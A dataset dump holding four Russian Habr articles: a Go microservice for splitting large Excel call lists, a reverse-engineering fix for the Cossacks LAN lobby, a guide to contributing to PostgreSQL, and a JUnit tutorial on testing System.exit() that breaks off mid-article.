text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Go против Excel на сотни тысяч строк
В этом году мы уже [писали на Хабре](https://habr.com/company/Voximplant/blog/346474/) про наш проект [SmartCalls.io](https://smartcalls.io/) – визуальный конструктор звонков, созданный для бизнес-пользователей. Проект решает задачу бизнеса по массовым обзвонам клиентов: создается визуальный сценарий звонка, загружается Excel-файл с номерами телефонов и далее создается кампания по обзвону. Запускается кампания – начинается обзвон клиентов; в любой момент можно смотреть статистику, приостанавливать кампанию, подкручивать настройки. Клиенты были довольны, пока не выяснилось, что иногда надо обзванивать не просто много людей, а ОЧЕНЬ, ОЧЕНЬ много. Под катом – суть проблемы и как мы ее победили с помощью хайпового (не безосновательно) языка программирования.
[](https://habrastorage.org/webt/fo/uq/tb/fouqtbwyesfm-kepb-dfnpg71ig.png)
### Проблема
Изначально обработка файлов была реализована на PHP 7.1 – это был очевидный выбор, так как весь API SmartCalls был написан именно на нем. Работа с колл-листами имела одно ограничение – файл должен содержать не более 10 тысяч заполненных строк. Это ограничение было с самого начала в SmartCalls и, впрочем, не было критичным. До определенного момента.
У одного крупного банка появилась потребность в очень больших кампаниях по обзвону: требовалось обзванивать гораздо больше 10 тысяч пользователей. Конечно, ничто не мешало разбивать большие файлы на несколько маленьких и загружать их поочередно, но заставлять клиентов вот так страдать – не наш метод. К слову о поочередной загрузке – если наш клиент уже запустил кампанию по обзвону и вдруг захотел добавить в нее пользователей, то он может легко это сделать. Это весьма удобно, потому что не надо останавливать обзвон или запускать отдельную кампанию по новым пользователям. Но стоит понимать, что возможность дозагрузки не задумывалась как способ грузить большие файлы вручную, по кускам.
Итак, у команды появилась задача – реализовать загрузку больших файлов в кампании по обзвону.
### Решение
Мы очень компетентны в разработке на Java – например, частично API Voximplant реализован на этом языке; также мы хорошо умеем в PHP (см. пример выше – подсказывает Капитан Очевидность). То есть мы могли быстро закрыть эту задачу, используя один из этих языков, однако мы давно думали расширить наш стек технологий, и тут как нельзя кстати мы вспомнили про Go: он достаточно быстрый (хорошо работает с памятью), многопоточный и ему не нужен рантайм, т.к. Go компилируется в исполняемый бинарник. Вдобавок можно сказать про размер контейнеров, но об этом чуть позже…
В итоге мы написали микросервис на языке Go, который принимает листы большого размера (тестировали до 300 тысяч строк) и формата (xls, xlsx и все их разновидности). Настало время для подробностей.
### Реализация
Когда клиент загружает в кампанию SmartCalls файл >10 тысяч строк, за него берется микросервис. Он принимает на вход указатели:
* на файл, загруженный в S3-хранилище;
* на кампанию, в которую этот файл нужно загрузить.
Затем микросервис пробегает по файлу, бьет его на чанки по 10 тысяч строк (максимум для платформы) и каждый чанк в виде **csv-файла** загружает в S3-хранилище, делая о каждом чанке заметки в БД (путь до файла, количество строк). Каждый чанк обрабатывается и загружается в отдельном потоке, что дает дополнительный прирост в скорости выполнения.
Для чтения Excel-файлов использовали опенсорсные библиотеки от [tealeg](https://github.com/tealeg/xlsx) и [extrame](https://github.com/extrame/xls). Хорошо, что у них не только много звезд, но еще и свежие коммиты :)
```
import (
"github.com/tealeg/xlsx"
"github.com/extrame/xls"
// прочие импорты
)
```
И все бы хорошо, но не обошлось без нюансов. В ходе разработки выяснилось, что xlsx и xls, созданные в разных редакторах, сильно отличаются по форматам и правилам работы с ними. Пришлось делать много тестов – OpenOffice, Excel разных версий, LibreOffice, Google Sheets, чтобы научить микросервис приводить файлы к единому виду – CSV. После того, как микросервис «прожевывает» большой файл и превращает в CSV, в работу включается API SmartCalls и уже работает с этим csv-файлом. Для микросервиса мы оставили лимит в 300 тысяч строк, так как он сильно покрывает нужды клиентов, а с бОльшими потребностями мы и вовсе не сталкивались.
В итоге реализация отлично показала себя на тестах и препроде, после чего мы выкатили это в прод.
### Вывод
Наша команда всегда старается быстро выкатывать новые фичи/доработки, потому что мы хотим, чтобы довольные клиенты таковыми и оставались. Задача с большими файлами была не просто очередным челленджем для нас, но еще и хорошим поводом внедрить в проект Go, к которому мы давно присматривались. Помимо быстрой разработки и скорости работы, Go дает нам задел на будущее, когда мы начнем внедрять контейнеры (чтобы делать бесшовные апдейты и вот это всё), которые у этого языка весьма легковесные. Про контейнеры мы обязательно напишем отдельно, stay tuned :) | https://habr.com/ru/post/424697/ | null | ru | null |
# Реверс-инжиниринг «Казаков», часть третья: напёрстки в LAN
На дворе конец 2016 года, наконец-то, ~~вызвав бурю восторга среди фанатов,~~ вышла третья часть «Казаков»… А мне всё не давала покоя странная ошибка в сетевой компоненте первой части. Странность заключалась в том, что при создании игры в локальной сети нормально запустить игру могли только два человека. При трёх игроках индикатор загрузки рос мучительно медленно, а начиная с четырёх и вовсе оставался на отметке 0%. Что ж, начнём расследование!
### Проявление ошибки
Симптомов у проблемы сразу несколько. Значение «max ping», которое отображается в игровой комнате, слишком высоко и растёт пропорционально количеству игроков. Хотя все игроки подключены к одному коммутатору и обычный icmp ping выдаёт стабильно меньше 1 мс, в игровой комнате отображаются задержки вплоть до 350 мс. Если в комнате всего два игрока, то «max ping» сначала равен ~90 мс, затем падает посекундно до ~10 мс.
Второй симптом это отображение предупреждения «no direct connection established with: *имя игрока*». Втроём шанс получить его где-то 50%, а если в комнате четыре игрока, то оно показывается постоянно. Хотя это предупреждение и можно игнорировать, удерживая клавишу Ctrl при нажатии на «Start», это указывает на некоторую «проблему восприятия» качества соединения со стороны игры.
Третий симптом это медленная скорость загрузки. Когда все игроки нажали «Start», у хоста игры отображается индикатор в процентах. Он увеличивается шагами по ~8%, достигает 100% и лишь после этого можно начать игру. Учитывая то, что этот индикатор в первую очередь отображает прогресс передачи файла случайно созданной карты от хоста к игрокам, а размер этого файла для обычной карты равен примерно 3,5 МБ, то даже 5 секунд загрузки в гигабитной локальной сети являются проблемой. А за то время, которое требуется для «загрузки» трёх игроков можно скопировать всю папку с игрой.
### Начинаем с конца
С вашего позволения я избавлю вас от подробностей начала этого реверса и возникших проблем. Скажу только, что я ошибался, думая, что разбирать сетевую составляющую будет весело. Вызов функций через указатели. Многопоточность. Работа с sendto() и recvfrom() одновременно с использованием DirectPlay. Отсутствие какой-либо внятной документации к этому динозавру, не говоря уже об отладочной информации. Моего кунг-фу здесь было явно недостаточно.
Так что будем работать по старинке. Открываем всеми любимую, наипрекраснейшую программу, нажимаем Alt+T и ищем «no direct connection». Находим регион памяти, содержащий строку, затем через xref выходим прямо на указатель, а затем и на объёмную функцию размером в 32 килобайта. Среди прочего в ней инициализируются элементы интерфейса игровой комнаты, обрабатываются сообщения и компонуются строки перед выдачей на экран. Назовём eё LanLobby(). Ниже вы можете увидеть алгоритм принятия решения, показывать ли предупреждение игроку и деактивировать ли клавишу «Start»:
**Примечание:** изображённые в статье листинги дизассемблера были обработаны для улучшения читаемости.
1. Вызывается небольшая функция-цикл SomeIteration(). Забегая вперёд скажу, что в её теле присутствует вызов похожей функции, назовём её ImportantIteration(). Если последняя хотя бы один раз возвращает ноль, то SomeIteration() тут же выходит из цикла и также возвращает ноль. В этом случае переход не совершается и мы рискуем получить предупреждение.
2. Далее проверяется состояние кнопки Ctrl. Если она зажата, то кнопка «Start» не будет отключена.
3. Деактивация кнопки «Start». Переменная hStartButton инициализируется выше результатом функции с говорящим названием «addVideoButton».
4. Проверяется таймер относительно прошествия двух секунд. Выше переменной PreviousTick присваивается текущее значение GetTickCount() каждый раз, когда меняется количество игроков в комнате. Если с того момента прошло менее двух секунд, то совершается переход и предупреждение не выводится.
5. В конце концов, строка с предупреждением копируется в строку, предназначенной для вывода на экран в качестве строки состояния игровой комнаты.
**Вывод:** После принятия игрока в комнату игра даёт себе две секунды, чтобы наладить соединение. Затем, если ImportantIteration() до сих пор возвращает ноль, показывается предупреждение отсутствия прямого соединения.
### Камень преткновения
На этом этапе реверса мне ещё не было понятно, что же такого происходит в ImportantIteration() и я решил найти компоновку строки индикатора загрузки и дальше работать оттуда. Ранее, в тщетной попытке анализировать алгоритм вычисления «max ping» я заметил, что все строки с числовыми переменными сначала компонуются через sprintf(), а затем помещаются в целевую строку. Учитывая синтаксис форматной строки ищем текст «%%» и находим совпадение в нашей LanLobby(). Так выглядит отрывок кода, решающий, показывать ли в поле индикатора загрузки число с процентами или галочку, сигнализирующую «готовность» игры:
Получается, что результат функции GetLoadPercentage(), если он меньше 100, один в один переносится на экран. Вторая ветка, должно быть, рисует «галочку». Интересно, что же такого высчитывается в этой функции? GetLoadPercentage() состоит из цикла, который проходит по массиву с данными игроков и… опа!
И тут ImportantIteration() решает вопрос. Да, не ошиблись мы с именем. Учитывая арифметику, ImportantIteration() возвращает статус загрузки игрока в диапазоне от 0x00 до 0x0C, то есть на этой «шкале» всего 12 шагов. Теперь понятно, почему процентный индикатор увеличивается шагами по ~8%.
Теперь, когда мы поняли, что ImportantIteration() должна делать, посмотрим, где она ещё используется.
Кроме известных нам вызовов при проверке качества соединения и расчёте процентов ImportantIteration() вызывается в двух случаях: при формулировании предупреждения о плохом соединении — там она используется, чтобы составить список игроков для строки состояния — и для проверки, все ли игроки готовы. Последнее осуществляется в функции с небольшим циклом, который проходит по всем игрокам и сравнивает степень загрузки с 0x0C. Если хоть у одного игрока она меньше, то цикл возвращает ноль. Можно смело предположить, что результат последней функции напрямую влияет на активацию кнопки «Start» у хоста и возможность начать игру.
### Решение
Итак, самое простое решение это внести исправления в логику, зависящую от результата ImportantIteration(). Благо во всех случаях переходы осуществляются при позитивном результате, то есть нам нужно лишь изменить все переходы с условных на безусловные. В случае с так называемой «Windows 7 версией» файла dmcr.exe весь патч можно описать так:
```
оффсет | было | стало | эффект
---------+-----------+-----------+-----------------------------
0x00CEEA | 0x7D | 0xEB | игра всегда готова к старту
0x098792 | 0x0F 0x8D | 0x90 0xE9 | у всех игроков всегда 100%
0x09C389 | 0x0F 0x85 | 0x90 0xE9 | нет проверки соединения
```
А так как все изменения касаются только логики игровой комнаты для игр в локальной сети, а само сетевое сообщение происходит параллельно и не зависит от неё, то можно не опасаться побочных эффектов. Файл случайно созданной карты раздаётся по сети почти моментально, а комната позволяет запустить игру без всяких задержек. Тут можно и руки умыть, но…
### Что же в ларце?
Ведь любопытно же, каким образом игровая комната определяет статус загрузки игроков. Встречайте ImportantIteration(), героя сегодняшней статьи:
Тут можно подметить несколько интересных вещей:
* Один из двух параметров передаётся через регистр ecx.
* Все нужные данные находятся в памяти рядом друг с другом, так что зачем нам хранить их адреса? Вместо указателей Pointer\_A и Pointer\_B у нас будут Pointer\_A и (Pointer\_A + 4).
* Регион памяти, на который указывает параметр-указатель PlayersDataStruct, пишется в параллельных потоках и никак не зависит от происходящего в LanLobby().
При попытке понять, что же такого творится в указанном регионе памяти было обнаружено нечто, похожее на массив из структур. Каждый элемент имеет размер в 0x84 байта, а внутри хранятся среди прочего имя игрока, имя используемого файла случайной карты, версия клиента игры, значение пинга, несколько переменных булевого типа, а также несколько целочисленных значений и/или указателей. Все попытки отследить записи в этом регионе упираются в вызовы memcpy() из других потоков, а статически анализировать его довольно сложно — xref выдаёт 82 ссылки, и кроме инициализации значением 0x12345678 все из них на чтение. Т.е. адрес структуры загружается в регистры, проводятся вычисления адреса нужного элемента, и только после этого чтение, запись, вызов других функций с указателем в качестве переменной, или всё выше перечисленное сразу.
В конце концов я просто поставил слежение на запись в определённую часть этой структуры, а в теле ImportantIteration() добавил несколько условных точек останова. Собственно остановку отладчика я отключил, а в качестве условия указал небольшую IDC-функцию, выводящую содержимое регистра в окно сообщений:
```
Message("EDX: %08X\n", EDX), 0
```
После этого я запустил игру и на несколько секунд подключился к хосту в локальной сети. Затем я остановил отладчик и, просмотрев результаты слежения и содержимое окна сообщений («Trace window» и «Output window»), пришёл к следующему выводу:
Регион памяти, из которого извлекает данные среди прочего и ImportantIteration(), постоянно меняется. При этом некоторые значения перед записью новых данных сначала обнуляются. Вероятно, где-то при обработке сетевых сообщений перед сохранением новой информации этот регион памяти сначала заново инициализируется. А так как у нас DirectPlay и многопоточность, то эти нули вполне могут оказаться там как раз во время исполнения нашего цикла, что и приводит к описанному в начале статьи поведению.
### Послесловие
Итак, какую мораль можно извлечь из сей басни? ~~Не нужно быть Якудза, чтобы заехать к Якудза~~ Не всегда обязательно выкапывать корни проблемы, чтобы решить её. Кстати, в процессе реверса мне на глаза абсолютно случайно попался кусок кода, отвечающий за «авто-проигрыш» при свёртывании игры на более, чем пару секунд. Так что теперь можно спокойно менять музыку во время игры. Правда, я не уверен на счёт пользы такого патча для игрового сообщества, так как он, возможно, облегчит манипулирование игрой с помощью сторонних программ.
Напоследок хотелось бы вернуться к вопросу о тайминге игры, поднятым в [первой статье](https://habrahabr.ru/post/277067/). Тогда я не до конца разобрался с ролью функций QueryPerformanceFrequency() и QueryPerformanceCounter(). Как верно [подметил](https://habrahabr.ru/post/277067/#comment_8770031) Андрей [Smi1e](https://habrahabr.ru/users/smi1e/), было не похоже, чтобы они влияли на тайминг. Сейчас я могу точно сказать, что эти функции используется в игровой комнате первых «Казаков» как генератор псевдослучайных чисел для создании файла случайной карты и/или имени этого файла, а собственно тайминг игры осуществляется исключительно через GetTickCount().
На этом всё, до новых встреч!
### Ссылки
* [Несколько статей об устройстве сетевых игр (англ.)](http://gafferongames.com/networking-for-game-programmers/)
* [Официальная документация DirectPlay на MSDN (англ.)](https://msdn.microsoft.com/de-de/library/windows/desktop/ms805688.aspx) | https://habr.com/ru/post/312686/ | null | ru | null |
# Становимся контрибьютером в PostgreSQL
 В этой статье я хотел бы рассказать о том, как выглядит процесс разработки PostgreSQL глазами одного из контрибьютеров в этот самый PostgreSQL. Заниматься разработкой этой СУБД я начал в декабре 2015 года, когда устроился работать в компанию Postgres Professional. То есть, не так уж давно. А значит, еще свежи воспоминания о моментах, которые поначалу казались мне не вполне очевидными. Хотелось бы их законспектировать, чтобы новым людям, приходящим в нашу команду, а также всем тем, кто желает попробовать себя в роли разработчика открытой реляционной СУБД, было легче. Я расскажу о том, как выглядит процесс разработки PostgreSQL, какие инструменты я использую в своей повседневной работе, как следует оформлять патчи, и так далее. Заинтересовавшихся прошу проследовать под кат.
### Набор инструментов
Вопрос, который будоражит умы миллионов — какую IDE или текстовый редактор использовать? :) Практика показывает, что разрабатывать PostgreSQL можно в чем угодно. Кто-то из моих коллег использует Sublime Text, кто-то предпочитает Vim, кто-то Emacs, также есть пользователи KDevelop и Visual Studio Code. Я лично первое время вполне успешно использовал CLion, сейчас же перешел на Vim + ctags. В общем и целом, главное, чтобы в редакторе была подсветка синтаксиса, переход к определению, возможно какие-то простые вещи вроде переименования переменных и проверки орфографии. Какие-то навороченные автоматические рафакторинги вам вряд ли понадобятся. Дело в том, что патч с результатом таких рефакторингов вряд ли так просто примут.
Второй не менее волнительный вопрос — какую ОС или дистрибутив Linux выбрать? У нас в компании многие разработчики используют Ubuntu. Также есть пользователи MacOS. Под Windows, вроде, никто не сидит — для разработки под эту платформу обычно запускают виртуалку. Есть один пользователь Arch Linux. Я лично долгое время пользовался Ubuntu, но недавно ударился головой и перешел на FreeBSD. В общем и целом, любая \*nix система должна подойти.
PostgreSQL успешно компилируется GCC, CLang и Visual Studio, возможно и какими-то другими компиляторами (Intel C++ Compiler?). Более того, сообщество стремится поддерживать совместимость кода со всеми этими компиляторами. Так что компилятор вы можете использовать любой. Также вы можете использовать свой любимый отладчик, будь то GDB, LLDB, что-то встроенное в вашу IDE или какой-нибудь WinDbg.
Код PostgreSQL [живет в Git](https://git.postgresql.org/gitweb/). Помимо официального репозитория еще есть [зеркало на GitHub](https://github.com/postgres/postgres), но это чисто зеркало. Открывать там issues и слать туда пуллреквесты бессмысленно. Во время разработки патча никому нет дела, какую систему контроля версий вы используете. Но патч обычно посылают в виде вывода команды git diff.
В первом приближении, вроде, ничего не забыл. Время от времени я также использую perf, tcpdump, strace/truss, dtrace, rr, lcov, различные статические анализаторы и другие инструменты. Но потребность в них возникает скорее в порядке исключения. Основные инструменты разработки — это текстовый редактор, git, компилятор, отладчик и, конечно же, мозг. Да, и еще почтовый клиент. Но об этом я расскажу ниже.
### Сборка, прогон тестов и так далее
В настоящее время PostgreSQL использует Autotools. Autotools сам по себе не очень приятная штука. К тому же, не рассчитанная на Windows. Поэтому для сборки PostgreSQL под эту платформу предусмотрен специальный набор Perl-скриптов, что несколько костыльно. Мой коллега [Юрий Журавлев](https://github.com/stalkerg) пытается протолкнуть патч, [переводящий PostgreSQL на CMake](https://github.com/stalkerg/postgres_cmake). Но там все непросто, так как текущая система расширений PostgreSQL сильно завязана на Autotools.
Все проекты, использующие Autotools, собираются примерно одинаково:
```
./configure --prefix=...
make -j4 -s
make check
make install
```
Для быстрого локального развертывания PostgreSQL я использую [такой набор скриптов](https://github.com/afiskon/pgscripts), многими из которых со мной поделился [Стас Кельвич](https://github.com/kelvich).
Тонкий момент, на который налетают все начинающие контрибьюторы в PostgreSQL без исключения — если вы внесли изменение в .h файл, не забудьте прогнать make clean. По умолчанию при изменении .h файла зависящие от него .c файлы не пересобираются. Если этого не знать, можно пронаблюдать широчайший спектр занимательнейших магических эффектов :)
### Идея для первого патча, и как еще можно помочь проекту
Часто человека, находящегося в поисках идеи для патча, отправляют к [списку TODO](https://wiki.postgresql.org/wiki/Todo). На мой взгляд, это довольно вредный совет, по целому ряду причин. Во-первых, этот список не всегда находится в актуальном состоянии. Во-вторых, там есть пункты, про которые никто точно не знает, как их правильно сделать, и потому было решено просто добавить пункт в TODO, авось когда-нибудь придет прозрение. Наконец, в третьих, большинство задач из этого списка довольно сложны. Я бы советовал начать с чего-то попроще.
Проще всего поискать в коде и документации опечатки. Их там действительно много. Так происходит по той причине, что перед мержем предложенных патчей коммитеры часто их слегка переписывают, совсем чуть-чуть. В результате получается совершенно новый патч, который никто не вычитывал, отсюда и опечатки. Можно просто следить за новыми коммитами и каждую неделю присылать 1-2 патча. Исправлением комментариев к коду сложно что-то сломать, поэтому ваш патч охотно примут.
Бывает так, что какие-то куски кода можно немного отрефакторить. Это тоже довольно простое изменение. Делаем код красивее и правильнее, прогоняем тесты, если ничего не сломалось — предлагаем патч.
Исправление багов. В рассылку [pgsql-bugs@](https://www.postgresql.org/list/pgsql-bugs/) регулярно репортят баги (как правило, минорные). Обычно исправление бага — это халява. Пишем тест, воспроизводящий баг. Переписываем код так, чтобы тест больше не падал. Шлем патч.
Оптимизация. Тоже халява — код должен делать то же самое, только быстрее. Пишем бенчмарк, воспроизводящий проблему с производительностью, переписываем код так, чтобы он работал быстрее, шлем патч.
Улучшение документации и комментариев. Например, вы пытаетесь понять, как работает код, но не понимаете. Похоже, вы нашли место, где комментарии к коду можно улучшить!
Часто можно найти, что запатчить, собрав проект каким-то необычным компилятором (например, очень старой или очень новой версией GCC), на необычной платформе (ARM, PowerPC, ...) под необычной операционной системой (NetBSD, OpenIndiana). Тесты обычно не сыпятся, но пара варнингов при компиляции может проскочить. Еще часто помогает прогнать по коду какой-нибудь статический анализатор.
Если у вас нет идеи для своего патча, вы можете *существенно* помочь проекту, сделав code review и/или протестировав чужой патч. Программисты, как правило, очень любят писать код, но не особо любят ревьювить и тестировать его. Поэтому ревьюверов в сообществе PostgreSQL прямо реально не хватает. Ревьювером, кстати, быть довольно просто. Нужно убедиться, что патч применяется, код после этого компилируется и проходит тесты, а также что задача, которую перед собой ставил автор, при этом решена. Если вам не ясно, как это проверить, возможно, автор недостаточно хорошо это описал. Это повод задать вопрос автору в соответствующем треде и перевести патч в состояние waiting on author. А если при этом вы еще и в состоянии читать код и давать адекватные советы по переименованию переменных и разбиению процедур на несколько, то вам просто цены нет! О code review, выставлении патчей на коммитфест и различных состояниях патчей речь пойдет далее.
### Про мейлинг листы и блоги
Все общение разработчиков PostgreSQL происходит в рассылке [pgsql-hackers@](https://www.postgresql.org/list/pgsql-hackers/). Еще имеет смысл подписаться на [pgsql-committers@](https://www.postgresql.org/list/pgsql-committers/). Туда прилетают уведомления о последних мержах в мастер, иногда завязывается обсуждение конкретного коммита. Трафик в этих двух мейлинг листах не такой уж большой, это вам не LKML. Их вполне реально читать со своего основного ящика без каких-либо фильтров (правда, я читаю далеко не все треды подряд). Я лично получаю их все на рабочий e-mail.
Еще может иметь смысл подписаться на [pgsql-general@](https://www.postgresql.org/list/pgsql-general/) (общие вопросы) и уже упомянутый [pgsql-bugs@](https://www.postgresql.org/list/pgsql-bugs/) (багрепорты). Но, строго говоря, для разработки это не требуется.
По поводу выбора почтового клиента. В принципе, подойдет любой. Многие используют Thunderbird. Я долгое время сидел на Claws Mail, а сейчас переполз на [Mutt](https://eax.me/mutt/). Видел, как кто-то из коллег использует GMail.
Хорошим тоном является не слать в рассылку HTML-письма. Текст письма по ширине стоит ограничить 72-я символами. Понятное дело, использовать можно только английский язык. Использовать аттачи, в отличие от того же LKML, не запрещается. Тяжелые аттачи лучше куда-нибудь заливать, а не слать напрямую в мейлинг лист.
В сообществе PostgreSQL, насколько мне известно, нет какого-либо code of conduct. Но это не отменяет необходимости быть вежливым, не использовать сарказм, никогда не переходить на личности, и так далее. Электронные письма, особенно на английском языке, часто получаются несколько сухими. Поэтому неплохой идеей будет использовать в тексте побольше слов вроде please, thank you, и так далее. Я лично стараюсь начинать любое письмо словами вроде «Thank you everyone for great comments!» и заканчивать чем-то вроде «As always, please don't hesitate to share any thoughts on this topic!». Попробуйте, и вы удивитесь, насколько дружелюбнее к вам станет сообщество.
Возможно, стоило бы сказать пару слов про основных действующих лиц в рассылке, таких, как Tom Lane, Simon Riggs, Robert Haas, Andres Freund, Alvaro Herrera, Bruce Momjian, и других. Но проблема в том, что действующих лиц довольно много, и кто конкретно заинтересуется вашим патчем заранее сказать трудно. Поэтому скажу лишь, что неплохой идеей будет первое время читать подписи людей, которые вам отвечают, смотреть, на каких доменах находятся их e-mail, поискать их имена в git log ну или в Google в конце-то концов.
Кстати, некоторые люди из сообщества PostgreSQL ведут блоги (которые как раз можно найти благодаря Google), на которые не лишено смысла подписаться. Я лично в настоящее время подписан на следующие связанные с PostgreSQL RSS-фиды:
```
# PostgreSQL
http://postgresmen.ru/news.xml
http://planet.postgresql.org/rss20.xml
http://habrahabr.ru/rss/company/postgrespro/blog/
http://www.postgrespro.ru/rss
http://www.postgresql.org/news.rss
http://postgresweekly.com/rss/1ijl6aaa
http://postgres-edu.blogspot.com/feeds/posts/default
http://feeds.feedburner.com/depesz
http://rhaas.blogspot.com/feeds/posts/default
http://amitkapila16.blogspot.com/feeds/posts/default
http://obartunov.livejournal.com/data/rss
```
Заметьте, что в список входит [Планета PostgreSQL](http://planet.postgresql.org/), которая агрегирует многие блоги, которых нет в списке.
### Как послать патч
В общем случае, прежде, чем начинать работу над каким-то *большим* патчем, не лишено смысла написать в pgsql-hackers@ письмо-proposal с описанием того, что вы хотите сделать, как, и зачем. Может оказаться, что это никому особо и не нужно. Или наоборот, что это так нужно, что за последние лет 5 предлагалось несколько решений, о которых вы не знаете, и с которыми стоит предварительно ознакомиться. Ну или вам могут просто дать пару советов по реализации, куда стоит посмотреть, какие граничные случаи учесть, и так далее. Разработчики PostgreSQL — занятые люди, у которых своих дел хватает, так что не стоит бояться, что вашу гениальную идею кто-то тут же украдет. Скорее вам скажут, что это вряд ли будет работать, и предоставят возможность доказать обратное.
По поводу оформления кода. В PostgreSQL используется ANSI C, так что про всякие там С11, C++ или Rust сразу забудьте. Для форматирования кода используется утилита pgindent. Инструкцию по ее сборке вы найдете в исходниках PostgreSQL, в файле [src/tools/pgindent/README](https://github.com/postgres/postgres/blob/master/src/tools/pgindent/README). Перед созданием патча всегда прогоняйте код через pgindent, иначе его никто даже смотреть не станет. (Но следите за тем, чтобы pgindent не вносил изменения там, где вы ничего не меняли! В этом случае, возможно, код будет проще отформатировать вручную.) В остальном каких-то особо строгих правил нет. Просто смотрите, как оформлен код в районе того места, куда вы вонзаетесь, и старайтесь писать так же.
Когда патч готов, оправьте его в pgsql-hackers@, указав в subject метку [PATCH] и краткое описание. В теле письма расскажите, какую проблему решает патч, и каким образом он это делает. Почитайте архив рассылки, чтобы посмотреть, как это обычно выглядит. Если патч небольшой, например, исправляет пару опечаток, его могут принять сразу и без особых вопросов. В более сложных случаях патч нужно [отправить на ближайший коммитфест](https://commitfest.postgresql.org/):
Коммитфест — это местное название спринта. Один коммитфест длится один месяц. Например, сейчас открыт сентябрьский коммитфест. Все новые патчи добавляются в него. В начале сентября начнется рассмотрение патчей из сентябрьского коммитфеста, а все новые патчи будут добавляться в ноябрьский (в октябре коммитфеста нет, месяц правятся баги и так далее). Так продолжается до марта, всего 4 коммитфеста — в сентябре, ноябре, январе и марте. Затем наступает кодфриз, правятся баги, формируются альфа- и бета-релизы.
Патчи на коммитфесте бывают в разных состояниях. Все они имеют говорящие названия. Needs review означает, что патчу требуется ревьювер. Waiting on author означает, что какие-то действия требуются со стороны автора патча. Ready for committer означает, что патч прошел кодревью и по нему больше нет вопросов. Один из коммитеров может ознакомиться с ним и либо вмержить, либо вернуть автору на доработку. Ну и так далее.
Запаситесь терпением. Если на ваш патч никто не реагирует, это не значит, что он никому не нужен. Просто сейчас все заняты другими патчами. Если ваш патч есть в коммитфесте и не висит в Waiting on author, про него никто не забудет, не переживайте. Если вам ответил ревьювер или коммитер, внимательно прочитайте ответ, внесите соответствующие изменения в патч и отправьте его новую версию. Спорить с ревьюверами или коммитерами, по моему личному опыту, занятие очень неблагодарное. Быстрее исправить код и послать исправленный патч. Более того, нередко потом понимаешь, что ревьювер или коммитер в общем-то был прав, а ты — нет. Впрочем, у некоторых моих коллег иной опыт, и они наоборот считают, что всегда нужно спорить.
Пока вы ждете реакции на ваш патч, неплохой идеей будет самим заревьювить чей-нибудь патч. В сообществе PostgreSQL есть такое негласное правило — если вы шлете патч за патчем, и сами при этом никого не ревьювите, то очень быстро перестанут ревьювить и вас. Более того, чем быстрее будут приняты или отклонены другие патчи на коммитфесте, тем быстрее очередь дойдет до вашего, тем больше у вас будет времени внести правки до закрытия коммитфеста.
### Заключение
Дополнительные материалы для самостоятельного изучения:
* [Видеокурс «Hacking PostgreSQL» Анастасии Лубенниковой](http://postgres-edu.blogspot.ru/search/label/Hacking%20PostgreSQL). Замечательный курс о внутреннем устройстве PostgreSQL. Доступны видео и слайды.
* [Книга Database System Implementation](https://www.amazon.com/Database-System-Implementation-Hector-Garcia-Molina/dp/0130402648/). Как в ней написано, именно так PostgreSQL и работает.
* [Основы отладки при помощи GDB](https://eax.me/gdb/). Там же вы найдете ссылки на статьи про отладку при помощи LLDB, использование замечательного инструмента RR, и не только.
* [О том, как профилировать код с использованием perf](https://eax.me/c-cpp-profiling/), [bcc/eBPF](https://eax.me/bcc-ebpf/) и других инструментов. В статьях вы также найдете ссылки на материалы по DTrace и SystemTap.
* [Туториалы по Valgrind'у](https://eax.me/valgrind/) и [статическим анализаторам для C/C++](https://eax.me/c-static-analysis/). Эти инструменты помогают находить различного рода ошибки в коде, крайне полезно уметь ими пользоваться.
* [Наша компания перманентно нанимает](https://postgrespro.ru/jobs). Работа интересная, хотя и несколько специфичная. Привыкнув к недельным спринтам с еженедельной выкаткой нового кода, мне долгое время было непросто перестроиться.
Это все, о чем я хотел сегодня рассказать. Если у вас есть вопросы, я буду рад ответить на них в комментариях.
Продолжение: [Контрибьютим в PostgreSQL: примеры реальных патчей, часть 1 из N](https://habrahabr.ru/company/postgrespro/blog/309488/) | https://habr.com/ru/post/308442/ | null | ru | null |
# JUnit: тестирование методов, вызывающих System.exit()
### 1. Обзор
В определенных ситуациях нам может потребоваться, чтобы метод вызывал `System.exit()` и завершал работу приложения. Например, в случае если приложение должно быть запущено только один раз, а затем завершено, или в случае фатальных ошибок, таких как потеря соединений с базой данных.
Если метод вызывает [System.exit()](https://www.baeldung.com/java-system-exit), вызвать его из юнит-тестов и делать ассерты становится трудно, потому что это приведет к завершению юнит-теста.
В этом посте мы рассмотрим, как тестировать методы, вызывающие `System.exit()` с использованием фреймворка [JUnit](https://www.baeldung.com/junit).
### 2. Настройка проекта
Начнем с создания Java-проекта. Мы создадим службу, которая сохраняет задачи в базу данных. Если сохранение задач в базу данных приведет к выбросу исключения, служба вызовет `System.exit()`.
#### 2.1. Зависимости JUnit и Mockito
Давайте добавим зависимости [JUnit](https://search.maven.org/search?q=g:org.junit.jupiter%20AND%20a:junit-jupiter-api) и [Mockito](https://search.maven.org/search?q=g:org.mockito%20AND%20a:mockito-core):
```
org.junit.jupiter
junit-jupiter-api
5.9.1
test
org.mockito
mockito-core
4.8.1
test
```
#### 2.2. Настройка кода
Начнем с добавления класса сущности под названием `Task`:
```
public class Task {
private String name;
// геттеры, сеттеры и конструктор
}
```
Далее создадим [DAO](https://www.baeldung.com/java-dao-pattern), отвечающий за взаимодействие с базой данных:
```
public class TaskDAO {
public void save(Task task) throws Exception {
// сохраняем таск
}
}
```
Реализация метода `save()` для целей этой статьи не важна.
Далее создадим `TaskService`, который вызывает DAO:
```
public class TaskService {
private final TaskDAO taskDAO = new TaskDAO();
public void saveTask(Task task) {
try {
taskDAO.save(task);
} catch (Exception e) {
System.exit(1);
}
}
}
```
Следует отметить, что приложение завершает свою работу, в случае если метод `save()` выбрасывает исключение.
#### 2.3. Юнит-тестирование
Давайте попробуем написать юнит-тест для метода `saveTask()`:
```
@Test
void givenDAOThrowsException_whenSaveTaskIsCalled_thenSystemExitIsCalled() throws Exception {
Task task = new Task("test");
TaskDAO taskDAO = mock(TaskDAO.class);
TaskService service = new TaskService(taskDAO);
doThrow(new NullPointerException()).when(taskDAO).save(task);
service.saveTask(task);
}
```
Мы сделали мок-объект TaskDAO, чтобы он выбрасывал исключение при вызове метода `save()`. Это приведет к выполнению блока `catch` функции `saveTask()`, который вызывает `System.exit()`.
Запустив этот тест, мы обнаружим, что он завершается, не успев пройти до конца:
